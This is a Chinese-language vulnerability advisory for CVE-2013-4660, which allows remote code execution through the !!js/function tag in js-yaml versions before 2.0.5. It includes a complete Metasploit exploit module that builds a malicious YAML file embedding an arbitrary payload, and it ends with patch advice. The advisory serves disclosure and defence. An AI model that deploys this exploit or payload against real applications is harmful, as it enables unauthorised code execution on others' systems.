java 调用js 解析yml,js-yaml 远程代码执行漏洞(CVE-2013-4660)

发布日期:2013-07-01

更新日期:2013-10-14

受影响系统:

js-yaml js-yaml 2.0.4

描述:

--------------------------------------------------------------------------------

BUGTRAQ  ID: 60867

CVE(CAN) ID: CVE-2013-4660

js-yaml是YAML 1.2的JavaScript解析器和串联器。

Node.js的js-yaml模块2.0.5之前版本在解析输入时,没有考虑不安全的!!js/function旗标,可使远程攻击者通过特制的字符串触发eval操作,执行任意代码。

链接:http://www.osvdb.org/94656

http://www.rapid7.com/db/modules/exploit/multi/fileformat/nodejs_js_yaml_load_code_exec

*>

测试方法:

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name'          => 'Nodejs js-yaml load() Code Exec',

'Description'    => %q{

For node.js applications that parse user-supplied YAML input

using the

load() function from the 'js-yaml' package < 2.0.5, specifying a

self-executing

function allows us to execute arbitrary javascript code.

},

'Author'        => ['joev '],

'License'        => MSF_LICENSE,

'References'  =>

[

['CVE', '2013-4660'],

['URL',

'https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/']

],

'Platform'      => 'nodejs',

'Arch'          => ARCH_NODEJS,

'Privileged'    => false,

'Targets'        =>    [['Automatic', {}]],

'DisclosureDate' => 'Jun 28 2013',

'DefaultTarget'  => 0))

register_options([

OptString.new('FILENAME', [ true, 'The file name.', 'msf.yml'])

], self.class)

end

def exploit

p = payload.encoded

print_status("Creating '#{datastore['FILENAME']}' file...")

file_create("a: !!js/function >\n  (function(){ #{p} })();")

end

end

建议:

--------------------------------------------------------------------------------

厂商补丁:

js-yaml

-------

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

推荐阅读:

Node.js 的详细介绍:请点这里

Node.js 的下载地址:请点这里0b1331709591d260c1c78e86d0c51c18.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值